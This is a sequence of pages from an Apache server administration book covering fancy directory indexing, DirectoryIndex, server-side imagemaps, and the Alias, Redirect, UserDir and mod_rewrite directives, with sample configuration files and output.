We can add visual sparkle to our page, without which success on the Web is most unlikely, by giving icons to the files with the AddIcon directive. Apache has more icons than you can shake a stick at in its ... /icons directory. Without spending some time exploring, one doesn't know precisely what each one looks like, but bomb.gif sounds promising. The icons directory needs to be specified relative to the DocumentRoot directory, so we have made a subdirectory ... /htdocs/icons and copied bomb.gif into it. We can attach the bomb icon to all displayed .html files with:

...
AddIcon icons/bomb.gif  .html

7.1.4. AddIcon

AddIcon icon_name name
Server config, virtual host, directory, .htaccess

AddIcon expects the URL of an icon, followed by a file extension, a wildcard expression, a partial filename, or a complete filename to describe the files to which the icon will be added. We can iconify subdirectories off the DocumentRoot with ^^DIRECTORY^^, or make blank lines format properly with ^^BLANKICON^^. Since we have the convenient icons directory to practice with, we can iconify it with:

AddIcon /icons/burst.gif ^^DIRECTORY^^

Or we can make it disappear with:

...
IndexIgnore  icons
...

Not all browsers can display icons. We can cater to those that cannot by providing a text alternative alongside the icon URL:

AddIcon ("DIR",/icons/burst.gif) ^^DIRECTORY^^

This line will print the word DIR where the burst icon would have appeared to mark a directory (that is, the text is used as the ALT description in the link to the icon). You could, if you wanted, print the word "Directory" or "This is a directory." The choice is yours.

Examples:

AddIcon (IMG,/icons/image.xbm) .gif .jpg .xbm
AddIcon /icons/dir.xbm ^^DIRECTORY^^
AddIcon /icons/backup.xbm *~

AddIconByType should be used in preference to AddIcon, when possible.

7.1.5. AddAlt

AddAlt string file file ...
Server config, virtual host, directory, .htaccess

AddAlt sets alternate text to display for the file if the client's browser can't display an icon. The string must be enclosed in double quotes.

7.1.6. AddDescription

AddDescription string file1 file2 ...
Server config, virtual host, directory, .htaccess

AddDescription expects a description string in double quotes, followed by a file extension, partial filename, wildcards, or full filename:

<Directory /usr/www/fancyindex.txt/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs" catalog_autumn.html
    catalog_summer.html
IndexIgnore *.jpg
IndexIgnore ..
AddIcon (CAT,icons/bomb.gif)  .html
AddIcon (DIR,icons/burst.gif) ^^DIRECTORY^^
AddIcon icons/blank.gif ^^BLANKICON^^
DefaultIcon icons/blank.gif
</Directory>

Having achieved these wonders, we might now want to be a bit more sensible and choose our icons by MIME type using the AddIconByType directive.

7.1.7. DefaultIcon

DefaultIcon url
Server config, virtual host, directory, .htaccess

DefaultIcon sets a default icon to display for unknown file types. url points to the icon.

7.1.8. AddIconByType

AddIconByType icon mime_type1 mime_type2 ...
Server config, virtual host, directory, .htaccess

AddIconByType takes as an argument an icon URL, followed by a list of MIME types. Apache looks for the type entry in mime.types, either with or without a wildcard. We have the following MIME types:

...
text/html html htm
text/plain text
text/richtext rtx
text/tab-separated-values tsv
text/x-setext text
...

So, we could have one icon for all text files by including the line:

AddIconByType (TXT,icons/bomb.gif) text/*

Or we could be more specific, using four icons, a.gif, b.gif, c.gif, and d.gif :

AddIconByType (TXT,/icons/a.gif) text/html
AddIconByType (TXT,/icons/b.gif) text/plain
AddIconByType (TXT,/icons/c.gif) text/tab-separated-values
AddIconByType (TXT,/icons/d.gif) text/x-setext

Let's try out the simpler case:

<Directory /usr/www/fancyindex.txt/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs" catalog_autumn.html
    catalog_summer.html
IndexIgnore *.jpg
IndexIgnore ..
AddIconByType (CAT,icons/bomb.gif)  text/*
AddIcon (DIR,icons/burst.gif) ^^DIRECTORY^^
</Directory>

For a further refinement, we can use AddIconByEncoding to give a special icon to encoded files.

7.1.9. AddAltByType

AddAltByType string mime_type1 mime_type2 ...
Server config, virtual host, directory, .htaccess

AddAltByType provides a text string for the browser to display if it cannot show an icon. The string must be enclosed in double quotes.

7.1.10. AddIconByEncoding

AddIconByEncoding icon mime_encoding1 mime_encoding2 ...
Server config, virtual host, directory, .htaccess

AddIconByEncoding takes an icon name followed by a list of MIME encodings. For instance, x-compress files can be iconified with:

...
AddIconByEncoding (COMP,/icons/d.gif) application/x-compress
...

7.1.11. AddAltByEncoding

AddAltByEncoding string mime_encoding1 mime_encoding2 ...
Server config, virtual host, directory, .htaccess

AddAltByEncoding provides a text string for the browser to display if it can't put up an icon. The string must be enclosed in double quotes.

Next, in our relentless drive for perfection, we can print standard headers and footers to our menus with the HeaderName and ReadmeName directives.

7.1.12. HeaderName

HeaderName filename
Server config, virtual host, directory, .htaccess

This directive inserts a header, read from filename, at the top of the index. The name of the file is taken to be relative to the directory being indexed. Apache will look first for filename.html and, if that is not found, then filename.

7.1.13. ReadmeName

ReadmeName filename
Server config, virtual host, directory, .htaccess

filename is taken to be the name of the file to be included, relative to the directory being indexed. Apache tries to include filename.html as an HTML document and, if that fails, as text.

If we simply call the file HEADER, Apache will look first for HEADER.html and display it if found. If not, it will look for HEADER and display that. The HEADER file can be:

Welcome to BUTTERTHLIES, Inc.

and the README file:

Butterthlies Inc., Hopeful City, Nevada 99999

to correspond with our index.html. We don't want HEADER and README to appear in the menu themselves, so we add them to the IndexIgnore directive:

<Directory /usr/www/fancyindex.txt/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs"
catalog_autumn.html catalog_summer.html
IndexIgnore *.jpg
IndexIgnore .. icons HEADER README
AddIconByType (CAT,icons/bomb.gif)  text/*
AddIcon (DIR,icons/burst.gif) ^^DIRECTORY^^
HeaderName HEADER
ReadMeName README
</Directory>

Since HEADER and README can be HTML scripts, you can wrap the directory listing up in a whole lot of fancy interactive stuff if you want.

But, on the whole, FancyIndexing is just a cheap and cheerful way of getting something up on the Web. For an elegant Net solution, study the next section.

Previous | Home | Next
6.5. Browsers and HTTP/1.1 | Book Index | 7.2. Making Our Own Indexes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Making Our Own Indexes (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

7.2. Making Our Own Indexes

In the last section, we looked at Apache's indexing facilities. So far we have not been very adventurous with our own indexing of the document root directory. We replaced Apache's adequate directory listing with a custom-made .html file: index.html (see Chapter 3, "Toward a Real Web Site").

We can improve on index.html with the DirectoryIndex command. This command specifies a list of possible index files to be used in order.

7.2.1. DirectoryIndex

DirectoryIndex local-url local-url ...
Default: index.html
Server config, virtual host, directory, .htaccess

The DirectoryIndex directive sets the list of resources to look for when the client requests an index of the directory by specifying a "/" at the end of the directory name. local-url is the (%-encoded) URL of a document on the server relative to the requested directory; it is usually the name of a file in the directory. Several URLs may be given, in which case the server will return the first one that it finds. If none of the resources exists and Options Indexes is set, the server will generate its own listing of the directory. For example, if the specification is:

DirectoryIndex index.html

then a request for http://myserver/docs/ would return http://myserver/docs/index.html if it exists, or would list the directory if it did not. Note that the documents do not need to be relative to the directory:

DirectoryIndex index.html index.txt /cgi-bin/index.pl

would cause the CGI script /cgi-bin/index.pl to be executed if neither index.html or index.txt existed in a directory.

The Config file from ... /site.ownindex is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.ownindex/htdocs
AddHandler cgi-script cgi
Options ExecCGI indexes

<Directory /usr/www/site.ownindex/htdocs/d1>
DirectoryIndex hullo.cgi index.html goodbye
</Directory>

<Directory /usr/www/site.ownindex/htdocs/d2>
DirectoryIndex index.html goodbye
</Directory>

<Directory /usr/www/site.ownindex/htdocs/d3>
DirectoryIndex goodbye
</Directory>

In ... /htdocs we have five subdirectories, each containing what you would expect to find in ... /htdocs itself, plus the following files:

  • hullo.cgi

  • index.html

  • goodbye

The CGI script hullo.cgi is:

#!/bin/sh
echo "Content-type: text/html"
echo
env
echo Hi there

The HTML script index.html is:

<html>
<body>
<h1>Index to Butterthlies Catalogs</h1>
<ul>
<li><A href="catalog_summer.html">Summer catalog </A>
<li><A href="catalog_autumn.html">Autumn catalog </A>
</ul>
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</body>
</html>

The text file goodbye is:

Sorry, we can't help you. Have a nice day!

The Config file sets up different DirectoryIndex options for each subdirectory with a decreasing list of DirectoryIndex (es). If hullo.cgi fails for any reason, then index.html is run, and if that fails, we have a polite message in goodbye.

In real life, hullo.cgi might be a very energetic script that really got to work on the clients -- registering their account numbers, encouraging the free spenders, chiding the close-fisted, and generally promoting healthy commerce. Actually, we won't go to all that trouble just now. We will just copy the file /usr/www/mycgi to ... /htdocs/d*/hullo.cgi. If it isn't executable, we have to remember to make it executable in its new home with:

chmod +x hullo.cgi

Start Apache with ./go and access www.butterthlies.com. You see the following:

Index of /

. Parent Directory
. d1
. d2
. d3
. d4
. d5

If we select d1, we get:

GATEWAY_INTERFACE=CGI/1.1
REMOTE_HOST=192.168.123.1
REMOTE_ADDR=192.168.123.1
QUERY_STRING=
DOCUMENT_ROOT=/usr/www/site.ownindex/htdocs
HTTP_USER_AGENT=Mozilla/3.0b7 (Win95; I)
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
SCRIPT_FILENAME=/usr/www/site.ownindex/htdocs/d1/hullo.cgi
HTTP_HOST=www.butterthlies.com
SERVER_SOFTWARE=Apache/1.1.1
HTTP_CONNECTION=Keep-Alive
HTTP_COOKIE=Apache=192287840536604921
REDIRECT_URL=/d1/
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin
HTTP_REFERER=http://192.168.123.2/
SERVER_PROTOCOL=HTTP/1.0
REDIRECT_STATUS=200
REQUEST_METHOD=GET
SERVER_ADMIN=[no address given]
SERVER_PORT=80
SCRIPT_NAME=/d1/hullo.cgi
SERVER_NAME=www.butterthlies.com
have a nice day

If we select d2 (or disable ... /d1/hullo.cgi somehow), we should see the output of ... /htdocs/d1/index.html:

D2: Index to Butterthlies Catalogs

* catalog_summer.html
* catalog_autumn.html

Butterthlies Inc, Hopeful City, Nevada 99999

If we select d3, we get:

Sorry, we can't help you. Have a nice day!

If we select d4, we get:

Index of /d4
. Parent Directory
. bath.jpg
. bench.jpg
. catalog_autumn.html
. catalog_summer.html
. hen.jpg
. tree.jpg

In directory d5, we have the contents of d1, plus a .htaccess file that contains:

DirectoryIndex hullo.cgi index.html.ok goodbye

This gives us the same three possibilities as before. It may be worth remembering that using entries in .htaccess is much slower than using entries in the Config file, because the directives in the ... /conf files are loaded when Apache starts, whereas .htaccess is consulted each time a client accesses the site.

Generally, the DirectoryIndex method leaves the ball in your court. You have to write the index.html scripts to do whatever needs to be done, but of course, you have the opportunity to produce something amazing.

Previous | Home | Next
7. Indexing | Book Index | 7.3. Imagemaps
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Imagemaps (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

7.3. Imagemaps

We have experimented with various sorts of indexing. Bearing in mind that words are going out of fashion in many circles, we may want to present an index as some sort of picture. In some circumstances, two dimensions may work much better than one; selecting places from a map, for instance, is a natural example. The objective here is to let the client user click on images or areas of images and to deduce from the position of the cursor at the time of the click what he or she wants to do next.

Recently, browsers have improved in capability and client-side mapping (built into the returned HTML script) is becoming more popular. It is also possible to embed an imagemap in the HTML (see http://home.netscape.com/assist/net_sites/html_extensions_3.html). However, here we do it at the server end. The httpd.conf in ... /site.imap is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.imap/htdocs

AddHandler imap-file map
ImapBase map
#ImapDefault default.html
#ImapDefault error
ImapDefault referer
ImapDefault map

ImapMenu Formatted

The seven lines of note are the last. AddHandler sets up imagemap handling using files with the extension .map.

7.3.1. ImapBase

ImapBase [map|referer|URL]
Default: http://servername
Server config, virtual host, directory, .htaccess

This directive sets the base URL for the imagemap, as follows:

map

The URL of the imagemap itself.

referer

The URL of the referring document. If this is unknown, http://servername/ is used.

URL

The specified URL.

If this directive is absent, the map base defaults to http://servername/, which is the same as the DocumentRoot directory.

7.3.2. Imap Errors

When things go wrong with imagemaps -- which we shall engineer by setting circles in bench.map and clicking on the corners of the picture -- the action to take is set first by a line in the file bench.map :

default [error|nocontent|map|referer|URL]

The meanings of the arguments are given under the next item. If this line is not present, then the directive ImapDefault takes over.

7.3.3. ImapDefault

ImapDefault [error|nocontent|map|URL]
Default: nocontent
Server config, virtual host, directory, .htaccess

There is a choice of actions (if you spell them incorrectly, no error message appears and no action results):

error

This makes Apache serve up a standard error message, which appears on the browser (depending which one it is) as something like "Internal Server Error."

nocontent

Apache ignores the request.

map

Apache returns the message Document moved here.

URL

Apache returns the URL. If it is relative, then it will be relative to the imagemap base. On this site we serve up the file default.html to deal with errors. It contains the message:

You're clicking in the wrong place

7.3.4. HTML File

The document we serve up is ... /htdocs/sides.html:

<html>
<body>
<h1>Welcome to Butterthlies Inc</h1>
<h2>Which Side of the Bench?</h2>
<p>Tell us on which side of the bench you like to sit
</p>
<hr>
<p>
<p align=center>
<A HREF="bench.map">
<IMG ISMAP SRC="bench.jpg" ALT="A picture of a bench">
</A>
<p align=center>
Click on the side you prefer
</body>
</html>

This displays the now familiar picture of the bench and asks you to indicate which side you prefer by clicking on it. You must include the ISMAP attribute in the <IMG> tag to activate this behavior. Apache's imagemap handler then refers to the file .../site.imap/htdocs/bench.map to make sense of the mouse-click coordinates. It finds the following lines in that file:

rect left.html 0,0 118,144
rect right.html 118,0 237,144

which set up two areas in the left and right halves of the image and designate the files left.html and right.html to be returned if the mouse click occurs in the corresponding rectangle. Notice that the points are expressed as x,y <whitespace>. If you click in the left rectangle, the URL www.butterthlies.com/left.html is accessed, and you see the message:

You like to sit on the left

and conversely for clicks on the right side. In a real application, these files would be menus leading in different directions; here they are simple text files:

You like to sit on the left
You like to sit on the right

In a real system, you might now want to display the contents of another directory, rather than the contents of a file (which might be an HTML document that itself is a menu). To demonstrate this, we have a directory, ... /htdocs/things, which contains the rubbish files 1, 2, 3. If we replace left.html in bench.map with things, as follows:

rect things 0,0 118,144
rect right.html 118,0 237,144

we see:

Index of /things
. Parent Directory
. 1
. 2
. 3

The formatting of this menu is not affected by the setting for IMapMenu.

How do we know what the coordinates of the rectangles are (for instance, 0,0 118,144)? If we access sides.html and put the cursor on the picture of the bench, Netscape helpfully prints its coordinates on the screen, following the URL and displayed in a little window at the bottom of the frame. For instance:

http://192.168.123.2/bench.map?98,125

It is quite easy to miss this if the Netscape window is too narrow or stretches off the bottom of the screen. We can then jot down on a bit of paper that the picture runs from 0,0 at the top left corner to 237,144 at the bottom right. Half of 237 is 118.5, so 118 will do as the dividing line.

We are not limited to rectangles enclosing the cursor. We can have the following objects:

polygons

Invoked with poly, followed by 3 to 100 points. Apache returns the polygon that encloses the cursor.

circles

Invoked with circle, followed by the center and a point on the circle (so if the center is x,y and you want it to have a radius R , the point could be x+R,y or x,y-R). Apache returns the circle that encloses the cursor.

points

Invoked with point, followed by its coordinates. Apache returns the nearest point to the cursor.

We divided the image of the bench into two rectangles:

0,0 118,144
118,0 237,144

The center points of these two rectangles are:

59,72
177,72

so we can rewrite bench.map as:

point left.html 59,72
point right.html 177,72

and get the same effect.

The version of bench.map for polygons looks like this:

poly left.html 0,0 118,0 118,144 0,144
poly right.html 118,0 237,0 237,144 118,114

For circles, we use the points above as centers and add 118/2=59 to the x-coordinates for the radius. This should give us two circles in which the cursor is detected and the rest of the picture (right in the corners, for instance) in which it is not.

circle left.html 59,72 118,72
circle right.html 177,72 237,72

The useful thing about circles for this exercise is that if we click in the corners of the picture we generate an error condition, since the corners are outside the circles, and thereby exercise ImapDefault.

There is a third directive for the configuration file.

7.3.5. ImapMenu

ImapMenu [none|formatted|semiformatted|unformatted]
Server config, virtual host, directory, .htaccess

This directive applies if mapping fails or if the browser is incapable of displaying images. If the site is accessed using a text-based browser such as Lynx, a menu is displayed showing the possibilities in the .map file:

MENU FOR /BENCH.MAP
--------------------------------------
       things
       right.html

This is formatted according to the argument given to ImapMenu. The effect above is produced by formatted. The manual explains the options as follows:

formatted

A formatted menu is the simplest menu. Comments in the imagemap file are ignored. A level-one header is printed, then a horizontal rule, then the links, each on a separate line. The menu has a consistent, plain look close to that of a directory listing.

semiformatted

In the semiformatted menu, comments are printed where they occur in the imagemap file. Blank lines are turned into HTML breaks. No header or horizontal rule is printed, but otherwise the menu is the same as a formatted menu.

unformatted

Comments are printed; blank lines are ignored. Nothing is printed that does not appear in the imagemap file. All breaks and headers must be included as comments in the imagemap file. This gives you the most flexibility over the appearance of your menus, but requires you to treat your map files as HTML instead of plain text.

The argument none redisplays the document sides.html.

Previous | Home | Next
7.2. Making Our Own Indexes | Book Index | 8. Redirection
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Redirection (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 8. Redirection

Contents:

ScriptAlias
ScriptAliasMatch
Alias
AliasMatch
UserDir
Redirect
RedirectMatch
Rewrite
Speling

Few things are ever in exactly the right place at the right time, and this is as true of most web servers as of anything else in this vale of tears. Alias and Redirect allow requests to be shunted about your filesystem or around the Web. Although in a perfect world it should never be necessary to do this, in practice it is often useful to be able to move HTML files around on the server, or even to a different server, without having to change all the links in the HTML script.[52] A more legitimate use -- of Alias, at least -- is to rationalize directories spread around the system. For example, they may be maintained by different users, and perhaps may even be held on remotely mounted filesystems. But Alias can make them appear to be grouped in a more logical way.

[52]Too much of this kind of thing can make your site difficult to maintain.

ScriptAlias allows you to run CGI scripts, without which few web sites could function. You have a choice: everything that ScriptAlias does, and much more, can be done by the new Rewrite directive (described later in this chapter), but at a cost of some real programming effort.

ScriptAlias is relatively simple to use, but it is also a good example of Apache's modularity being a little less modular than we might like. Although ScriptAlias is defined in mod_alias.c in the Apache source code, it needs mod_cgi.c (or any module that does CGI) in order to function. The functionality of mod_alias.c is one way of causing CGI scripts to run. It is compiled into Apache by default.

The httpd.conf file on ... /site.alias contains the following:

User webuser
Group webgroup

ServerName www.butterthlies.com

ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.alias/htdocs/customers
ErrorLog /usr/www/site.alias/logs/customers/error_log
TransferLog /usr/www/site.alias/logs/customers/access_log
Alias /somewhere_else /usr/www/somewhere_else

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.alias/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.alias/logs/salesmen/error_log
TransferLog /usr/www/site.alias/logs/salesmen/access_log
</VirtualHost>

8.1. ScriptAlias

ScriptAlias url_path directory_or_filename
Server config, virtual host

We have already come across ScriptAlias (see Chapter 4, "Common Gateway Interface (CGI) "). It allows scripts to be stored safely out of the way of prying fingers and, moreover, automatically marks the directory where they are stored as containing CGI scripts.

Previous | Home | Next
7.3. Imagemaps | Book Index | 8.2. ScriptAliasMatch
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


ScriptAliasMatch (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.2. ScriptAliasMatch

ScriptAliasMatch regex directory_or_filename
Server config, virtual host

The supplied regular expression is matched against the URL, and if it matches, the server will substitute any parenthesized matches into the given string and use them as a filename. For example, to activate the standard /cgi-bin, one might use:

ScriptAliasMatch ^/cgi-bin/(.*) /usr/local/apache/cgi-bin/$1
Previous | Home | Next
8. Redirection | Book Index | 8.3. Alias
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alias (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.3. Alias

Alias url_path directory_or_filename
Server config, virtual host

The Alias directive allows documents to be stored somewhere in the filesystem other than under the DocumentRoot. We can demonstrate this simply by creating a new directory, /usr/www/somewhere_else, and putting in it a file lost.txt, which has this message in it:

I am somewhere else

Now edit httpd.conf so that it looks like this:

...
TransferLog /usr/www/site.alias/logs/customers/access_log
Alias /somewhere_else /usr/www/somewhere_else
<VirtualHost butterthlies_sales
...

Run go and, from the browser, access http://www.butterthlies.com/somewhere_else/.

We see:

Index of /somewhere_else
. Parent Directory
. lost.txt

If we click on Parent Directory, we arrive at the DocumentRoot for this server, /usr/www/site.alias/htdocs/customers, not, as might be expected, at /usr/www. This is because Parent Directory really means "parent URL," which is http://www. butterthlies.com/ in this case.

What sometimes puzzles people (even those who know about it but have temporarily forgotten) is that if you go to http://www.butterthlies.com/, and there's no ready-made index, you don't see somewhere_else listed.

Note that you do not want to write:

Alias /somewhere_else/ /usr/www/somewhere_else

(with a trailing "/" after the first somewhere_else) since this can produce baffling Not Found errors for the client.

Previous | Home | Next
8.2. ScriptAliasMatch | Book Index | 8.4. AliasMatch
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


AliasMatch (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.4. AliasMatch

AliasMatch regex directory_or_filename
Server config, virtual host

Again, like ScriptAliasMatch, this directive takes a regular expression as the first argument. Otherwise, it is the same as Alias.

Previous | Home | Next
8.3. Alias | Book Index | 8.5. UserDir
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


UserDir (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.5. UserDir

UserDir directory
Default: UserDir public_html
Server config, virtual host

The basic idea here is that the client is asking for data from a user's home directory. He asks for http://www.butterthlies.com/~peter, which means "Peter's home directory on the computer whose DNS name is www.butterthlies.com." The UserDir directive sets the real directory in a user's home directory to use when a request for a document for a user is received. directory is one of the following:

  • The name of a directory or a pattern such as those shown in the examples that follow.

  • The keyword disabled. This turns off all username-to-directory translations except those explicitly named with the enabled keyword.

  • The keyword disabled followed by a space-delimited list of usernames. Usernames that appear in such a list will never have directory translation performed, even if they appear in an enabled clause.

  • The keyword enabled followed by a space-delimited list of usernames. These usernames will have directory translation performed even if a global disable is in effect, but not if they also appear in a disabled clause.

If neither the enabled nor the disabled keyword appears in the UserDir directive, the argument is treated as a filename pattern and is used to turn the name into a directory specification. A request for http://www.foo.com/~bob/one/two.html will be translated as follows:

UserDir public_html     -> ~bob/public_html/one/two.html
UserDir /usr/web        -> /usr/web/bob/one/two.html
UserDir /home/*/www     -> /home/bob/www/one/two.html

The following directives will send redirects to the client:

UserDir http://www.foo.com/users -> http://www.foo.com/users/bob/one/two.html
UserDir http://www.foo.com/*/usr -> http://www.foo.com/bob/usr/one/two.html
UserDir http://www.foo.com/~*/   -> http://www.foo.com/~bob/one/two.html

Be careful when using this directive; for instance, UserDir ./ would map /~root to "/", which is probably undesirable. If you are running Apache 1.3 or above, it is strongly recommended that your configuration include a UserDir disabled root declaration.

Figure 8.5 Under Win32, Apache does not understand home directories, so translations that end up in home directories on the right-hand side (see the first example), will not work.

Previous | Home | Next
8.4. AliasMatch | Book Index | 8.6. Redirect
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Redirect (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.6. Redirect

Redirect url-path url
Server config, virtual host, directory, .htaccess

The Redirect directive maps a URL onto a new one.

Previous | Home | Next
8.5. UserDir | Book Index | 8.7. RedirectMatch
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RedirectMatch (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.7. RedirectMatch

RedirectMatch regex url
Server config, virtual host, directory, .htaccess

Again, RedirectMatch works like Redirect, except that it takes a regular expression as the first argument.

In the Butterthlies business, sad to relate, the salespeople have been abusing their powers and perquisites, and it has been decided to teach them a lesson by hiding their beloved secrets file and sending them to the ordinary customers' site when they try to access it. How humiliating! Easily done, though.

Edit httpd.conf :

...
<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
Redirect /secrets http://www.butterthlies.com
DocumentRoot /usr/www/site.alias/htdocs/salesmen
...

The exact placing of the Redirect doesn't matter, as long as it is somewhere in the <VirtualHost> section. If you now access http://sales.butterthlies.com/secrets, you are shunted straight to the customers' index at http://www.butterthlies.com/.

An important difference between Alias and Redirect is that the browser becomes aware of the new location in a Redirect, but does not in an Alias, and this new location will be used as the basis for relative hot links found in the retrieved HTML.

Previous | Home | Next
8.6. Redirect | Book Index | 8.8. Rewrite
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Rewrite (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.8. Rewrite

The preceding section described the alias module and its allies. Everything these directives can do, and more, can be done instead by mod_rewrite.c, an extremely compendious module that is almost a complete software product in its own right.[53] The documentation is thorough, and the reader is referred to http://www. engelschall.com/pw/apache/rewriteguide/ for any serious work. This section is intended for orientation only.

[53]But for simple tasks Alias and friends are much easier to use.

Rewrite takes a rewriting pattern and applies it to the URL. If it matches, a rewriting substitution is applied to the URL. The patterns are regular expressions familiar to us all in their simplest form; for example, mod.*\.c, which matches any module filename. The complete science of regular expressions is somewhat extensive, and the reader is referred to ... /src/regex/regex.7, a manpage that can be read with nroff -man regex.7 (on FreeBSD, at least). Regular expressions are also described in the POSIX specification and in Jeffrey Friedl's Mastering Regular Expressions (O'Reilly & Associates). The essence of regular expressions is that a number of special characters can be used to match parts of incoming URLs.

The substitutions can include mapping functions that take bits of the incoming URL and look them up in databases or even apply programs to them. The rules can be applied repetitively and recursively to the evolving URL. It is possible (as the documentation says) to create "rewriting loops, rewriting breaks, chained rules, pseudo if-then-else constructs, forced redirects, forced MIME-types, forced proxy module throughout." The functionality is so extensive that it is probably impossible to master it in the abstract. When and if you have a problem of this sort, it looks as if mod_rewrite can solve it, given enough intellectual horsepower on your part!

The module can be used in four situations:

  • By the administrator inside the server Config file to apply in all contexts. The rules are applied to all URLs of the main server and all URLs of the virtual servers.

  • By the administrator inside <VirtualHost> blocks. The rules are applied only to the URLs of the virtual server.

  • By the administrator inside <Directory> blocks. The rules are applied only to the specified directory.

  • By users in their .htaccess files. The rules are applied only to the specified directory.

The directives look simple enough.

8.8.1. RewriteEngine

RewriteEngine on_or_off
Server config, virtual host, directory

Enables or disables the rewriting engine. If off, no rewriting is done at all. Use this directive to switch off functionality rather than commenting out Rewrite-Rule lines.

8.8.2. RewriteLog

RewriteLog filename
Server config, virtual host

Sends logging to the specified filename. If the name does not begin with a slash, it is taken to be relative to the server root. This directive should appear only once in a Config file.

8.8.3. RewriteLogLevel

RewriteLogLevel number
Default number: 0
Server config, virtual host

Controls the verbosity of the logging: 0 means no logging, and 9 means that almost every action is logged. Note that a number above 2 slows Apache down.

8.8.4. RewriteMap

RewriteMap mapname {txt,dbm,prg,rnd,int}: filename
Server config, virtual host

Defines an external mapname file that inserts substitution strings through key lookup. The module passes mapname a query in the form:

$(mapname : Lookupkey | DefaultValue)

If the Lookupkey value is not found, DefaultValue is returned.

The type of mapname must be specified by the next argument:

txt

Indicates plain-text format, that is, an ASCII file with blank lines, comments that begin with "#", or useful lines, in the format:

MatchingKey SubstituteValue
dbm

Indicates DBM hashfile format, that is, a binary NDBM (the "new" dbm interface, now about 15 years old, also used for dbm auth) file containing the same material as the plain-text format file. You create it with any ndbm tool or by using the Perl script dbmmanage from the support directory of the Apache distribution.

prg

Indicates program format, that is, an executable (a compiled program or a CGI script) that is started by Apache. At each lookup, it is passed the key as a string terminated by newline on stdin and returns the substitution value, or the word NULL if lookup fails, in the same way on stdout. The manual gives two warnings:

  • Keep the program or script simple because if it hangs, it hangs the Apache server.

  • Don't use buffered I/O on stdout because it causes a deadlock. In C, use:

    setbuf(stdout,NULL)

    In Perl, use:

    select(STDOUT); $|=1;]
rnd

Indicates randomized plain text, which is similar to the standard plain-text variant but has a special postprocessing feature: after looking up a value, it is parsed according to contained "|" characters that have the meaning of "or". In other words, they indicate a set of alternatives from which the actual returned value is chosen randomly. Although this sounds crazy and useless, it was actually designed for load balancing in a reverse proxy situation, in which the looked-up values are server names -- each request to a reverse proxy is routed to a randomly selected server behind it.

int

Indicates an internal Apache function. Two functions exist: toupper() and tolower(), which convert the looked-up key to all uppercase or all lowercase.

8.8.5. RewriteBase

RewriteBase BaseURL
Directory, .htaccess

The effects of this command can be fairly easily achieved by using the rewrite rules, but it may sometimes be simpler to encapsulate the process. It explicitly sets the base URL for per-directory rewrites. If RewriteRule is used in an .htaccess file, it is passed a URL that has had the local directory stripped off so that the rules act only on the remainder. When the substitution is finished, RewriteBase supplies the necessary prefix. To quote the manual's example:

RewriteBase   /xyz
RewriteRule   ^oldstuff\.html$  newstuff.html

In this example, a request to /xyz/oldstuff.html gets rewritten to the physical file /abc/def/newstuff.html. Internally, the following happens:

  1. Request: /xyz/oldstuff.html

  2. Internal processing:

    /xyz/oldstuff.html     -> /abc/def/oldstuff.html  (per-server Alias)
/abc/def/oldstuff.html -> /abc/def/newstuff.html  (per-dir    RewriteRule)
/abc/def/newstuff.html -> /xyz/newstuff.html      (per-dir    RewriteBase)
/xyz/newstuff.html     -> /abc/def/newstuff.html  (per-server Alias)

  3. Result: /abc/def/newstuff.html

8.8.6. RewriteCond

RewriteCond TestString CondPattern
Server config, virtual host, directory

One or more RewriteCond directives can precede a RewriteRule directive to define conditions under which it is to be applied. CondPattern is a regular expression matched against the value retrieved for TestString, which contains server variables of the form %{NAME_OF_VARIABLE}, where NAME_OF_VARIABLE can be one of the following list:

API_VERSION | PATH_INFO | SERVER_PROTOCOL
AUTH_TYPE | QUERY_STRING | SERVER_SOFTWARE
DOCUMENT_ROOT | REMOTE_ADDR | THE_REQUEST
ENV:any_environment_variable | REMOTE_HOST | TIME
HTTP_ACCEPT | REMOTE_USER | TIME_DAY
HTTP_COOKIE | REMOTE_IDENT | TIME_HOUR
HTTP_FORWARDED | REQUEST_FILENAME | TIME_MIN
HTTP_HOST | REQUEST_METHOD | TIME_MON
HTTP_PROXY_CONNECTION | REQUEST_URI | TIME_SEC
HTTP_REFERER | SCRIPT_FILENAME | TIME_WDAY
HTTP_USER_AGENT | SERVER_ADMIN | TIME_YEAR
HTTP:any_HTTP_header | SERVER_NAME |
IS_SUBREQ | SERVER_PORT |

